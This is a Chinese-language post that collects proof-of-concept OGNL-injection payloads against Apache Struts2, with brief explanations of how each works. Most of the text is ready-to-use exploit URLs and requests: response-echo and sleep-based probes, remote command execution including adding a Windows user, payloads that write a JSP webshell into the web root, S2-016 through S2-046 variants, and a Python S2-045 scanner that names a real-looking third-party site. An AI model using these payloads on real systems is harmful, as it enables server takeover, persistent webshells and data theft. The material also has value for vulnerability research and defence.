解密Struts2 POC

struts的威力大家都知道，这里找几个有代表性的POC讲一下，做一个记录。

#####回显POC
poc1

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http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))

poc2（类型转换漏洞需要把POC加在整型参数上）:

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http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))%2b'

poc3（需要注意这里也必须是加载一个String(字符串类型)的参数后面，使用的时候把URL里面的两个foo替换成目标参数（注意POC里面还有个foo））:

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http://127.0.0.1/Struts2/hello.action?foo=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))&z[(foo)('meh')]=true

poc4

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http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]

poc5

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http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}

poc6

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http://127.0.0.1/Struts2/$%7B%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23resp.println(%22[ok]%22),%23resp.close()%7D.action

poc7

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http://localhost/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}

@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22)其实是静态调用ServletActionContext; ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。拿到一个HttpServletResponse响应对象后就可以调用getWriter方法(返回的是PrintWriter)让Servlet容器上输出[/ok]了，而其他的POC也都做了同样的事：拿到HttpServletResponse，然后输出[/ok]。其中的allowStaticMethodAccess在Struts2里面默认是false，也就是默认不允许静态方法调用。

#####精确判断是否存在（延迟判断）:
poc1

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http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))

poc2

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http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b'

poc3

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http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true

poc4

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http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]

poc5

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http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}

poc6

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http://127.0.0.1/Struts2/${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}.action

之前很多的利用工具都是让线程睡一段时间再去计算时间差来判断漏洞是否存在。这样比之前的回显更靠谱，缺点就是慢。而实现这个POC的方法同样是非常的简单其实就是静态调用java.lang.Thread.sleep(5000)就行了。而命令执行原理也是一样的。

命令执行

关于回显：webStr\75new\40byte[100] 修改为合适的长度。
poc1

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http://127.0.0.1/Struts2/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43webRootzpro\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipconfig

poc2

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http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig

poc3

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http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set

poc4

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http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an

poc5

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http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set

poc6

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http://localhost/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

其实在Java里面要去执行一个命令的方式都是一样的，简单的静态调用方式

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java.lang.Runtime.getRuntime().exec("net user selina 123 /add");

就可以执行任意命令了。Exec执行后返回的类型是java.lang.Process。Process是一个抽象类，final class ProcessImpl extends Process也是Process的具体实现。而命令执行后返回的Process可以通过

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public OutputStream getOutputStream()
public InputStream getInputStream()

直接输入输出流，拿到InputStream之后直接读取就能够获取到命令执行的结果了。而在Ognl里面不能够用正常的方式去读取流，而多是用DataInputStream的readFully或BufferedReader的read方法全部读取或者按byte读取的。因为可能会读取到半个中文字符，所以可能会存在乱码问题，自定义每次要读取的大小就可以了。POC当中的/c 不是必须的，执行dir之类的命令可以加上。

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Process java.lang.Runtime.exec(String command) throws IOException

#####GetShell
poc1:

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http://127.0.0.1/Struts2/test.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i12)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i13)(('\43xman.getWriter().println(\43req.getServletContext().getRealPath(%22\u005c%22))')(d))&(i2)(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@java.io.File@separator).append(%22css3.jsp%22).toString())')(d))&(i3)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc2（类型转换漏洞需要把POC加在整型参数上）:

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http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())%2b'%20&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc3（需要注意这里也必须是加载一个String(字符串类型)的参数后面，使用的时候把URL里面的两个foo替换成目标参数（注意POC里面还有个foo））:

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http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close())(meh%29&z[%28foo%29%28%27meh%27%29]=true&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc4:

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http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()(aa)&x[(class.classLoader.jarPath)('aa')]&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc5:

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http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),new+java.io.BufferedWriter(new+java.io.FileWriter(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22)).append(%23req.getParameter(%22p%22)).close()}&p=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

poc6:

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http://localhost/Struts2/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

比如POC4当中首先就是把allowStaticMethodAccess改为trute即允许静态方法访问。然后再获取请求对象，从请求对象中获取网站项目的根路径，然后在根目录下新建一个css3.jsp，而css3.jsp的内容同样来自于客户端的请求。POC4中的p就是传入的参数，只要获取p就能获取到内容完成文件的写入了。之前已经说过Java不是动态的脚本语言，所以没有eval。不能像PHP那样直接用eval去动态执行，所以Java里面没有真正意义上的一句话木马。菜刀只是提供了一些常用的一句话的功能的具体的实现，所以菜刀的代码会很长，因为这些代码在有eval的情况下是可以通过发送请求的形式去构造的，在这里就必须把代码给上传到服务器去编译成执行。

S2-046

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POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom 
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

S2-045

（2017.3）(Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10)

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import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url):
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(url,datagen,headers=header)
    response = urllib2.urlopen(request)
    body=response.read()
    return body
url="http://job.10086.cn/company/anouncement/showAnouncement.action"
url=sys.argv[1]
body=poc(url)
if "nMask" in body:
    print "[Loopholes exist]",url

S2-037

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http://127.0.0.1:8080/struts2-rest-showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3f@java.lang.Runtime@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=calc
http://127.0.0.1:8080/struts2-rest- showcase/orders/3/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.com%5B0%5D%5D).getWriter())%2C%23writ.println(3345*2356))%3Aindex.xhtml?com=com.opensymphony.xwork2.dispatcher.HttpServletResponse

S2-032

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?method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=whoami

获取磁盘目录

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method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8

执行命令

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method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
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method:%23_memberAccess[%23parameters.name1[0]]%3dtrue,%23_memberAccess[%23parameters.name[0]]%3dtrue,%23_memberAccess[%23parameters.name2[0]]%3d{},%23_memberAccess[%23parameters.name3[0]]%3d{},%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8

上传文件

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method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

s2-016

1
redirect:${%23res%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23res.setCharacterEncoding(%22UTF-8%22),%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22whoami%22})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[20000],%23d.read(%23e),%23res.getWriter().println(%23e),%23res.getWriter().flush(),%23res.getWriter().close()}

s2-019

1
debug=command&expression=%23res%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23res.setCharacterEncoding(%22UTF-8%22),%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22whoami%22})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[20000],%23d.read(%23e),%23res.getWriter().println(%23e),%23res.getWriter().flush(),%23res.getWriter().close()

本文POC均来自网络收集